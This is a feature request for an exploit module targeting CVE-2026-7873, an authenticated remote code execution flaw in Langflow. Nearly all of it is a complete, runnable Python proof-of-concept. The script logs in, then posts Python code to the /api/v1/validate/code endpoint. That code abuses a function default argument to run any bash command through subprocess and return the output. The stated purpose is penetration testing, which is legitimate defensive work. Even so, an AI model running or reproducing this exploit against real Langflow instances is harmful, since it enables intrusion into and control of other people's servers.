ENH: Exploit module for Langflow authenticated Remote Code Execution vulnerability CVE-2026-7873

[rmhowe425]

Summary

Requesting to add an exploit module in exploit/multi/http for an authenticated remote code execution vulnerability impacting Langflow, allowing an attacker to execute arbitrary python code on a victim machine.

Basic example

# Exploit Title:  Langflow authenticated RCE
# Exploit Author: Richard Howe <rhowe425>
# Vendor Homepage: https://www.langflow.org/
# Software Link: https://www.langflow.org/desktop
# Version: 1.0.0 - 1.10.0
# Tested on: Ubuntu 22.04
# CVE : CVE-2026-7873

from requests import get, post
from argparse import ArgumentParser


def authenticate(base_url: str, username: str, password: str) -> dict:
    """
    Authenticate with vulnerable Langflow instance.

    Parameters
    ----------
    base_url : str
        URL of Langflow instance.
    username : str
        Langflow username.
    password : str
        Langflow password.

    Returns
    -------
    Authentication header.
    """
    print(f"[+] Authenticating as {username}.")

    try:
        resp = post(base_url + "/api/v1/login", data={"username": username, "password": password})
        resp_json = resp.json()
    except Exception as e:
        raise RuntimeError(f"Error authenticating with Langflow: {str(e)}")

    if resp.status_code != 200 or not resp_json.get("access_token"):
        raise RuntimeError(f"Error authenticating with Langflow: {resp_json}")

    token = resp_json['access_token']
    return {"Authorization": f"Bearer {token}"}


def exploit(base_url: str, auth:dict, cmd: str) -> dict:
    """
    Triggers CVE-2026-7873 by sending an authenticated POST request
    to `/api/v1/validate/code` with attacker provided Python code.

    Parameters
    ----------
    base_url : str
        URL of Langflow instance.
    auth: dict
        Authentication headers.
    cmd : str
        Attacker provided command.

    Returns
    -------
    JSON response body containing output
    of attacker-controlled code.
    """
    print("[+] Triggering vulnerability.")
    endpoint = '/api/v1/validate/code'
    data = {"code":"\ndef exploit(\n    _=( lambda r: (_ for _ in ()).throw(Exception(f\"{r.stdout}{r.stderr}\")) )(\n        __import__('subprocess').run('%s', shell=True, capture_output=True, text=True)\n    )\n):\n    pass\n" % f'/bin/bash -c {cmd}'}

    try:
        resp = post(base_url + endpoint,
                    headers=auth,
                    json=data
                    )
    except Exception as e:
        raise RuntimeError(f"Error querying API.\n{str(e)}")

    if resp.status_code == 200:
        return resp.json()

    raise RuntimeError(f"API returned with status code: {resp.status_code} and error: {resp.json()}")


def main():
    parser = ArgumentParser(description="Exploit for Langflow auth RCE CVE-2026-7873")
    parser.add_argument("-u",    "--url",      required=True,  help="Langflow base URL, e.g. http://192.168.1.30:7860")
    parser.add_argument("-name", "--username", required=True,  help="Langflow username")
    parser.add_argument("-pwd",  "--password", required=True,  help="Langflow password")
    parser.add_argument("-c",    "--command",  required=True,  help="Bash command to execute on the server")
    args = parser.parse_args()

    # Authenticate with Langflow.
    auth = authenticate(base_url=args.url, username=args.username, password=args.password)

    # Trigger vulnerability.
    resp = exploit(base_url=args.url, auth=auth, cmd=args.command)

    print(f"\n[+] RESULTS:{resp}")


main()

Motivation

The addition of this module provides security professionals with a reliable method to identify vulnerable Langflow instances that pose unnecessary risk to their network environment.